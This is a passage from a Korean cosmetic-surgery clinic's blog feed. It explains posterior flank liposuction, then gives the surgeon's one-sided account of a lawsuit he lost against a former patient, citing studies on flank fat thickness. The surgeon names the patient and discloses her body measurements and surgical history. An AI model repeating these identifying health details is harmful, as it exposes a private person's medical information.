&lt;p&gt;&lt;strong&gt;The Frontal and Posterior Flank&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The frontal flank is the love handle or the area you can grab if you pinch the roll just above your hips. In some people, this roll is mainly on the side of the body, but in some it extends all the way around above the buttocks. When it goes around the backside I call this the &amp;ldquo;posterior flank&amp;rdquo; and I handle this differently. With a patient facing upright in preparation for a tummy tuck, it&amp;rsquo;s easy to get to the frontal flank for liposuction, but in this position, you really can&amp;rsquo;t get well around the backside for people who want to contour the posterior flank.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;The Procedure &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;In patients who have posterior flank liposuction, before the tummy tuck even begins, we place them face down and liposuction from the backside first and then flip them face up to continue with the frontal flank. This positioning allows full contour all the way around the lower trunk. Not everyone needs the posterior flank liposuction, but for those who have a bulge or fullness above the buttock area it is a powerful tool for contouring the waist and even a good location to harvest fat for grafting or Brazilian butt lift. It can sometimes make a dramatic difference in the size of the waist even beyond what the tummy tuck can do. Tummy tuck is not just about the tummy it&amp;rsquo;s about the hips and curves that surround it and in some cases posterior flank liposuction can make a huge improvement.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;뒷구리 지방흡입이란 무엇인가?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;많은 사람들이 제가 대부분의 복부 늘어짐 수술(tummy tuck)을 할 때 전측 옆구리 지방흡입을 한다는 것을 알고 있습니다. 이 부위의 지방흡입이 필요한 사람들에게 그것은 힙(엉덩이 측면 돌출부위)으로 이어지는 외곽선을 더 부드럽게 만들어 주고, 그리고 제 생각에 복부 늘어짐 제거 수술로 더 유선형으로 부드럽고 섹시한 모습으로 보이게 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;전측(Frontal) 그리고 후측(posterior) 옆구리&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;전측 옆구리는 러브핸들&amp;nbsp;또는 힙 바로 윗쪽 늘어진 돌출부위를 꼬집을 수 있을때&amp;nbsp;잡히는 부위입니다.&amp;nbsp;대개의 사람들에 있어서 이러한 돌출은 주로 몸통의 측면 부위에 주로 있지만, 어떤 사람들에게 그것은 엉덩이 위쪽까지 이어져 확장이 됩니다. 그것이 등쪽까지 확장되면 저는 이를 &amp;quot;뒷구리&amp;quot; 라고 부르며 이것을 다른 방법으로 처리 합니다. 복부 늘어짐 수술을 준비할 때처럼 하늘를 보고 누워있는 자세에서 전측&amp;nbsp;옆구리(러브핸들)의 지방흡입 수술을 하기는 쉽습니다. 그러나 누워있는 자세에서는 후측옆구리(뒷구리) 부위의 수술을 원하는 사람들의 등쪽 근처는 사실 제대로 수술을 할 수가 없습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;수술 방법&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;뒷구리의 수술을 원하는 사람들은 일단 복부 늘어짐 수술을 시작하기 전에, 환자들의 얼굴이 바닥을 보고 엎드리게 하여 등쪽 부위의 지방흡입을 먼저 하고, 이어서 환자를 뒤집어 하늘을 보도록 하여 전측&amp;nbsp;옆구리의 지방흡입을 합니다. 이러한 자세를 취하도록 하면 몸통의 하부에 대해 원통형으로 완전한 수술이 가능 합니다. 모든 사람들에게 뒷구리의 지방흡입이 필요한 것은 아닙니다만 엉덩이 뒷쪽의 돌출부위가 있는 경우에 이것은 허리의 외곽선을 만드는 강력한 방법이며, 지방이식 또는 브라질형의 엉덩이 수술에 필요한 지방조직을 채취하기 위해서 매우 좋은 부위가 되기도 합니다. 때로 그 수술은 하복부 늘어짐 수술을 훨씬 넘어서는 정도로 허리 둘레의 드라마틱한 변화를 만들어 내기도 합니다. 복부 늘어짐 수술은 복부 늘어짐만을 위한 수술이 아니라 힙과 그것을 둘러싸는 곡선을 위한 것이며 때로는 뒷구리의 지방흡입이 훌륭한 효과를 낼 수 있습니다.&lt;/p&gt; &lt;/div&gt; &lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;판사가 판결로 정한 러브핸들의 정의&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;대부분의 사람들은 위와 같이 러브핸들은 옆구리에 튀어 나온 지방으로 알고 있었을 것입니다. 그러나 영어를 우리나라 말로 바꾸어서 정확한 위치를 이해하는 것은 쉬운 일이 아닙니다. 예를들어 평상시에 우리가 의미하는 &amp;#39;허리&amp;#39;라는 단어가 &amp;#39;waist&amp;#39;라는 단어로 매치가 되면 위치에 혼동이 되기도 하고, 힙(hip)처럼 아애 우리나라 말에는 상대되는 단어가 없는 경우도 있습니다. 그러나 우리는 영어로 된 책으로 공부하고 외국인과 대화해야 하기 때문에 영어 단어의 뜻을 명확하게 이해하고 있어야 합니다. 그러나 사실 영어로 된 책을 소홀히 하는 일부 의사는 &amp;quot;러브핸들&amp;quot;의 부위에 대해 정확하게 이해하지 못하는 사람이 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;같은 의사로서 부끄럽고 챙피하기도 하지만 강남T의원 의사가 그러했습니다. 분명 꼬리뼈 절개구로 수술이 가능한 부위는 아래 그림처럼 뒷등의 뒷구리&amp;nbsp;부위임에도 진단서에 &amp;quot;러브핸들&amp;quot;을 수술했다고 적었습니다. 영어인 러브핸들의 뜻을 정확히 모르면 차라리 &amp;quot;뒷등&amp;quot;이나 &amp;quot;옆구리&amp;quot;라고 적었으면 &amp;quot;의사가 돈만 받고 러브핸들을 수술하지 않았다&amp;quot;, &amp;quot;의사가 지방을 근육이라고 우겼는데 옆구리에 재수술을 받아 제거 되었다&amp;quot;라고 주장하는 일은 생기지 않았을 텐데 말이죠&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 판사가 러브핸들의 의미를 정의하는 판결문 내용입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;strong&gt;피고가 제대로 수술되지 않았다고 주장하는 부위는 옆구리에서 등으로 넘어가는 부위(135도와 225도)에 위치하는 허리 부위, 피고가 &amp;ldquo;러브핸들&amp;rdquo;이라고 부르는 부위이고 이하 이사건 &amp;quot;허리&amp;quot; 부위라고 한다.&lt;/strong&gt; 피고가 이 사건 수술 이후인 2017.1.16. T의원의원에서 이 사건 &amp;quot;허리&amp;quot; 부위의 피하지방 두께를 측정한 결과 24~26mm로 측정되었고, 이 사건 허리 부위에 대한 지방흡입수술을 하였던 T의원의원 소속 의사 CL은 2017. 2 .6.경 이 사건 허리 부위에 특별한 유착이 느껴지지 않았던 것으로 보아 재수술이 아닌 것으로 추정된다는 의견을 표시했다(서용승이 피고에 대하여 시행한 지방흡입수술이 재수술이 아니라는 의미로서 기존에 이 사건 허리 부위의 수술이 이루어지지 않았었다는 의견으로 보인다).&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 재판을 통하여 의사가 알고 있는 러브핸들의 위치에 대해 판사와 피고에게 충분히 설명했습니다. 그렇지만 결정은 판사가 하고 우리는 그 결정을 존중하고 따라야 합니다.&amp;nbsp; 아래 사진은 판사가 러브핸들이라고 정의한 부위에 대한 모식도 입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;판사가정하는러브핸들.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/944/519/78c98b4557d7c03d063cdab5f7670e11.jpg&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt; 우리나라 판사가 정한 러브핸들의 부위 일명 &amp;#39;허리&amp;#39;를 설명하는 모식도&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;사실 원고는 135도 225도 부근은 옆구리에서 등으로 넘어가는 부위가 아니고 뒷등 또는 요추주위등(Paralumbar Fat Pad) 즉, 뒷구리로 외사근이 없는 부위라고 알고 있습니다만 아무튼 판사는 그 부위를 러브핸들로 규정하였으며 또 다른 동의어로 &amp;quot;허리&amp;quot;라고 명명했습니다. 판사가 원고의 말을 믿지 않으니, 원고가 대한의사 협회에 직접 감정을 의뢰하여 &amp;#39;러브핸들&amp;#39;의 의미에 대해 설명을 했음에도 판사는 러브핸들을 자의적으로 해석한 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/652/489/./files/attach/images/116/652/489/adf38d03979d10c98faac78c92276cf0.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;&amp;nbsp;원래 135도 225도 부근은 외사근이 없어서 요추주위등, 뒷등이라 부릅니다.&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 원고가 복부 지방흡입을 할때 사용하는 절개구의 위치를 모식도로 나타낸 그림으로 A 절개구로는 &amp;quot;전측복부 + 옆구리&amp;quot;의 수술이 가능하고 B 절개구를 꼬리뼈 근처에 추가하면 &amp;quot;전측복부 + 옆구리 + 뒷등&amp;quot; 즉, 360도 원통형 복부 수술이 가능합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;아래 모식도에서, A 절개구는 몸통의 전면과 측면을, B 절개구는 몸통의 후면을 수술할 때 사용합니다. 그러나 A 절개구만으로는 전면과 측면 그리고 후면을 모두 수술할 수가 잆으며, 만일 피고와 후면&amp;nbsp;부위를 계약했다면 B 절개구를 추가로 내어 엎드린 자세에서 수술했을&amp;nbsp;것이며&amp;nbsp;수술비용도 350만원 정도로 더 올라 갔을 것입니다. &lt;/strong&gt;참고로&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;하복부&amp;nbsp; 또는 상복부만 원하는 경우 배꼽에만 절개구를 내기도 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 강남T의원에서 꼬리뼈 절개구인 B에서 수술을 받았으면서 옆구리(러브핸들)에 재수술을 받았다고 하였습니다. 원고의 병원 홈피에&amp;nbsp;복부 맥시머는 &amp;#39;복부 + 옆구리(러브핸들)&amp;#39; 패키지인데 이제 여기에서 &amp;#39;러브핸들&amp;#39;은 빼야 겠습니다.&amp;nbsp; 판사가 규정한 러브핸들은 A 절개구에서는 불가능하고 B 절개구를 내어 수술을 해야 하기 때문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;중복되는부위1.png&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/944/519/a9e285e35af317a43f7864213e495ed7.png&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;한편 지방흡입을 할때 절개구와 절개구 사이는 반드시 중복을 시켜야 경계가 되는 수술부위의 지방을 완전하게 제거 할 수 있습니다. 중복시키는 부위는 재수술이 아니라 수술부위끼리 서로 연결을 위해 필요한 것입니다. 황당하게도 피고처럼 A 절개구로 몸통의 전면과 측면에 수술을 받은 다음 B 절개구로 후면을 수술을 받고나서 &amp;quot;중복되는 부분이 있으니 두번째 수술이 첫번째 수술에 대한 재수술이 맞다&amp;quot;라고 하면 의사입장에서는 서운할 일입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이는 A절개구에서 최대한 뒤로 갈수 있는 범위까지 디자인을 해서 더 해주려고 하는 의사의 마음을 모르는 것입니다. 절개구 위치는 서로 어는 정도 간격으로 떨어져 있고 중복이 가능해야 지방흡입을 제대로 할 수 있습니다. 사람의 체형에 따라 다르지만 원통형으로 360도 원동형(모래시계모양)으로 수술을 하기 위해서는 최소 3곳의 절개구가 필요합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;복부지방흡입모식도2.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/116/736/519/583ccd9fbc53ccbce7cf042e6e740f4b.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저는 판사가 말하는 러브핸들 부위는 수술하지 않은 의사입니다. 그 부위는 피고와 계약하지도 않았고 돈도 받지 않았습니다만 A절개구만으로 가능한 범위만큼은 최대한 해주려고 했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;법과 상식이 무시되는 사회가 되어서는 안된다고 하죠? 법치가 무너지면 독재가 됩니다. 상식이 무너지면 개판 난장판이 되지요. 아뭏든 대한민국 판사가 상식과 전문가를 무시하고 새롭게 정한 러브핸들 용어에 대해 자세히 알고 싶으신 분은 아래 링크에 있는 판결문을 참조하세요&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1NrzbTf8nRTx4ZfcnInt48O4cVSLTiShP/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;2019나14194호 판결문 보기&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>			</entry><entry>
		<title>옆구리의 피하지방층 두께에 대한 논문 정리</title>
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		<published>2021-01-05T07:10:50+09:00</published>
		<updated>2021-10-07T06:32:33+09:00</updated>
		<author>
			<name>mwjygrf</name>
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		<summary type="text">피고의 옆구리 지방층 두께는 10mm가 넘지 않습니다. 원고가 2016.3.7. 전측 복부 + 옆구리를 수술한 환자인 피고는 2017.3.18. 갑자기 전화하여 T의원에서 초음파를 측정해보니 옆구리에 28mm 남아 있다고 하고 옆구리는 수술이 안되어 있다는 말을 들었다고 항의를 시작했습니다. 그리고 인터넷에 &#039;원고가 돈만 받고 옆구리를 수술하지 않았으며 T의원에 가서 재수술을 받아 근육이라고 우기던 지방을 제거하였다. 사기당했다&#039; 라...</summary>
	<content type="html">&lt;h3 class=&quot;page-header&quot;&gt;피고의 옆구리 지방층 두께는 10mm가 넘지 않습니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고가 2016.3.7. 전측 복부 + 옆구리를 수술한 환자인 피고는 2017.3.18. 갑자기 전화하여 T의원에서 초음파를 측정해보니 옆구리에 28mm 남아 있다고 하고 옆구리는 수술이 안되어 있다는 말을 들었다고 항의를 시작했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 인터넷에 &amp;#39;원고가 돈만 받고 옆구리를 수술하지 않았으며 T의원에 가서 재수술을 받아 근육이라고 우기던 지방을 제거하였다. 사기당했다&amp;#39;&amp;nbsp; 라는 취지의 글을 반복적으로 게제하여 원고의 명예를 훼손하고 영업을 방해했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이에 원고는 형사고소와 민사소송을 진행하였으나 모두 패소하여 시간적, 정신적 손해 뿐만 아니라 막대한 금전적 손해를 입었습니다.&amp;nbsp; 그런데 그 손해의 근본적 원인은 강남T의원이 측정했던 초음파 지방층 두께에 기인하고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 여기에서 강남T의원의 초음파 결과가 잘못되었음을 여러 논문과 원고의 경험을 증거로 밝혀둡니다.&lt;br /&gt; &lt;strong&gt;논문 제목을 클릭하면 논문을 볼 수 있습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519736&quot;&gt;판사는 &amp;quot;러브핸들&amp;quot;을 &amp;quot;허리&amp;quot;라고 부르며 &amp;quot;허리&amp;quot;를 수술하지 않았다고 판결했습니다.&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519944&quot;&gt;우리나라 판사가 정한 러브핸들의 정의와 위치에 대하여&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;520081&quot;&gt;의료법을 위반한 범죄행위가 공익에 도움이 되는가?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;제 1호증 Akyer SP, et al.(2014)논문 &amp;ndash; BMI 25&lt;/h5&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1v6xuUvxqxerbJcrVPp9nidD_uH0JeQZ0/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;Comparison of ultrasonography and skinfold measurements of subcutaneous fat thickness in the evaluation of body composition&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;논문 3쪽 table1을 보면 신장 170이상 체중 70Kg이상 여성 50명의 비만도(BMI)가 23~27 (kg/m2)정도 되는 사람들에게 집게(Caliper)와 초음파(USG)로 옆구리 지방층을 측정하여 비교했다는 논문입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;논문 3쪽 table3을 보면 여성(female) 50명의 옆구리(suprailiac) 초음파(USG) 지방층 두께는 14 &amp;plusmn; 8.1 mm 이며, 꼬집은 두께(Skinfold)도 18.7 &amp;plusmn; 7.3 mm로 두꺼워야 2cm입니다.&lt;/p&gt; &lt;p&gt;논문 5쪽 table5에서 전체 남녀 100명의 평균은 옆구리(suprailiac)는 10.8&amp;plusmn;7 mm 입니다.&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;기타, Weits et al.(1986)의 26명의 경우 초음파 옆구리 지방층 두께는 7.96 &amp;plusmn; 6.67 mm로 보고되고 있습니다.&lt;/p&gt; &lt;p&gt;Fanelli and Kucxmarski(1984)의 경우 124명의 옆구리 지방층 두께는 8.1 &amp;plusmn; 3.8 mm로 보고되고 있습니다.&lt;/p&gt; &lt;p&gt;Kuczmarski RJ, et al.(1987)의 경우 옆구리가 29 &amp;plusmn; 6 mm로 나왔으나 비만도(BMI)가 33.5(kg/m2) 정도로 고도비만인 사람을 대상으로 하였음으로 피고의 경우와 비교할 수 없습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;제 2호증 Demura S et al.(2001) - BMI 20.2&lt;/h5&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1n6_X820b_ltABLs0g6nBZf0FpXGpJxsO/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;Comparison of skinfold thickness measured by caliper and ultrasound methods&lt;/a&gt;&lt;/p&gt; &lt;p&gt;출처:&amp;nbsp; https://jstmhpe.org/contents2/2001102.pdf&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;초음파와 집게를 이용한 피하 지방층 두께를 측정하는 논문입니다.&lt;/p&gt; &lt;p&gt;논문 2쪽을 보면 남자 54명 여자 56명을 측정하였고 이중 여자는 신장 160.8 cm, 체중 52.3 kg 이었습니다. 나와 있지 않지만 비만도(BMI)를 계산해 보면 20.2 (kg/m2)로 계산됩니다.&lt;/p&gt; &lt;p&gt;논문 4쪽 Table2를 보면 일본인 여성(female)에서 초음파(ultrasound) 옆구리(suprailiac) 지방층 두께의 평균은 3.8 &amp;plusmn; 1.86 mm 로 측정되었습니다.&amp;nbsp;&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고와 거의 유사한 정도의 비만도(BMI) 20.2를 가진 일본인 여성의 옆구리 두께는 5mm를 넘지 않습니다. 피고는 옆구리에 두번 지방흡입을 받았음으로 10mm를 넘지 않을 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;제 3호증 Cannizzaro RT, et al.(2018) 논문 &amp;ndash; BMI 23.3&lt;/h5&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/11AbNwIfvFt6xbz7tR06fg1tFKs2HJUuF/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;Marked Differences in Measurement between Two Interpretations of the Suprailiac Skinfold Site&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이 논문은 집게(caliper)로 서로 다른 3곳의 옆구리를 꼬집어서 지방층 두께를 측정하여 비교하는 논문입니다. 꼬집으면 2겹이 되므로 집게 측정으로 측정하면 피하 지방층 두께는 측정치의 약 절반입니다.&lt;/p&gt; &lt;p&gt;3 쪽을 Figure3을 보면 측정한 옆구리 부위를 촬영한 그림입니다.&lt;/p&gt; &lt;p&gt;4 쪽 Table1를 보면 여성(female) 28명의 비만도(BMI)는 23.3 &amp;plusmn; 4.5 (kg/m2)로 남현주보다 더 비만한 사람들입니다.&lt;/p&gt; &lt;p&gt;5 쪽 Tbale3을 보면 2번 위치의 측정치가 가장 두껍고 여자에게 평균 피부주름(Skinfold)&amp;nbsp;두께는 33.8 &amp;plusmn; 11.8입니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 꼬집는 사진을 예로 들어 옆구리 지방을 꼬집으면 5~6 cm 된다고 했는데 피고보다 더 비만한 여성들의 옆구리 지방층을 꼬집으면 평균 3.4 cm 로 나왔습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이 논문은 의사가 작성한 것이 아닌 일반인 학생이 작성한것입니다. 집게를 통해 꼬집어서 옆구리 지방층 두께를 측정한 것으로 피고보다 더 비만한 비만도(BMI) 23.3정도 되는 서양인 여성의 옆구리를 꼬집으면 평균 33.8mm라는 것입니다. 이는 피고가 뒷구리를 꼬집어 게시한 사진에서 5~6cm가 나왔는데 이는 피고가 근육을 함께 잡은 사진이라는 것을 입증하고 있습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;04_정원호-남현주_민사2심기록2019나14194호__Page_037.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/912/519/9d44f0ed8c834409058df259e65e1ab8.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt; 피고가 인터넷에 게제한 사진으로 옆구리 두깨를 잡으면 5~6 cm 가 된다고 하였음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;제 4호증 Kuczmarski RJ, et al.(1986) 논문 &amp;ndash; BMI 33.5&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1ZwuzmiodB7Rf3tp0Y0ZTlgtaOql1rcuC/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;Ultrasonic assessment of body composition in obese adults: overcoming the limitations of the skinfold caliper&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비만한 사람에서 초음파 피하지방층 두께 측정방법이 집게 측정보다 더 유용하다는 논문입니다.&lt;/p&gt; &lt;p&gt;논문 4쪽 table1를 보면 전체의 비만도(BMI)는 33.5 &amp;plusmn; 4.6 (kg/m2)도 고도비만인 환자 44명을 검사했다고 합니다.&lt;/p&gt; &lt;p&gt;논문 5쪽 table3을 보면 초음파로 측정하면 옆구리(Suprailiac) 수치는 29 &amp;plusmn; 6 mm 였습니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비만도(BMI)가 33.5인 고도비만인 서양인에게서 옆구리 지방층 두께를 측정하면 29mm 정도 됩니다. 따라서 피고의 비만도(BMI) 21인 사람에게서 옆구리 두께가 28mm 나왔다는 것은 허위사실이 분명합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom20&quot;&gt;결 론&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;최근 방송인 홍현희가 초음파 검사를 하였는데 하복부 지방층이 3cm로&amp;nbsp; 발표되었습니다. 홍현희는 비만도(BMI)는 29.5 (kg/m2)이고, 옆구리 지방층 두께는 하복부의 절반 정도이므로(Abdominal Subcutaneous Fat Thickness Measured by Ultrasonography Correlates with Hyperlipidemia and Steatohepatitis in Obese Children) 옆구리 지방층은 약 15mm로서 많아야 20mm입니다. 그러므로, 비만도 21.3인 피고의 옆구리 지방층 두께가 28mm라는 것은 불가능한 수치입니다&lt;br /&gt; (출처 동아일보:https://www.donga.com/news/Entertainment/article/all/20190213/94082581/2).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;ol&gt; &lt;li&gt;따라서 여러 논문을 통해 비만도(BMI)가 피고의 경우보다 비만한 사람들의 옆구리 피하지방층 두께는 10mm가 넘지 않는 것을 알수 있습니다.&lt;/li&gt; &lt;li&gt;더욱이 비만도(BMI)가 20인 일본인 여성의 옆구리 피하 지방층 두께는 5mm를 넘지 않았습니다.&lt;/li&gt; &lt;li&gt;비만도(BMI)가 33.5로 피고보다 훨씬 비만도(BMI)가 높은 사람들의 옆구리 지방층 두께가 29mm로 측정되었습니다. 방송인 홍현희의 비만도(BMI)는 29.5로서 옆구리 피하 지방층 두께는 약 15~20mm 로 추정됩니다.&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 피고의 경우처럼 키 160cm에 체중 53kg이라면&amp;nbsp;비만도(BMI)가 20.7로서 이러한 체형에서 더구나 옆구리에 두번 지방흡입 수술을 받은 사람의 옆구리 지방층이 28mm로 측정된다는 것은 의학논문의 통계치를 보면 불가능한 수치입니다. (피고는 2013년도에 타병원에서 옆구리에 지방흡입 수술을 받은 경력이 있었으며 원고 병원에서 옆구리는 두 번째 수술이었습니다).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;집게_2017-02-11-23-09-04.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/912/519/16e9db6bd8ca726ed7c5d314d1dca7f3.jpg&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;lt;피고가 인터넷에 올린 글 내용으로 집게 손가락으로 잡으면 5~6cm가 잡힌다고 하였음&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;원고의 경험상에도 피고의 옆구리 피하 지방층 두께는 10mm를 넘지 않을 것으로 확신합니다. 피고는&amp;nbsp;원고가 만일 옆구리의 지방층이 10mm가 넘는다면 수술비 전액을 돌려 주겠다고 하였음에도 원고의&amp;nbsp;진료에 응하지 않았습니다. 경찰서에서&amp;nbsp;대질심문 당시에도 원고를 믿지 못하겠다면 경찰관과 함께 제3의 병원에서 옆구리의 지방층 두께를 측정해 보자고 제안 했지만 피고는 초음파 검사를 거부했습니다. 그러면서 피고가 옆구리에 28mm가 남아있고&amp;nbsp;수술이 되지 않았다고 인터넷에&amp;nbsp; 반복적으로 게제했던&amp;nbsp;것은 피고의 의도가 정보공유의 목적에 있지 않았기 때문입니다.&amp;nbsp;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그런데 판사는 일반인이 모르고 그런거니 위법이 아니랍니다.&amp;nbsp; 초음파로 측정해보자고 해도&amp;nbsp;거부해놓고서&amp;nbsp;의사가 되가지고 &amp;quot;돈만 받고 수술않했다 사기쳤다&amp;quot;고 망신은 망신은 다 주고 윤리의식 없는 의사 퇴출시키겠다는 사람이 이제와서 책임이 없다고 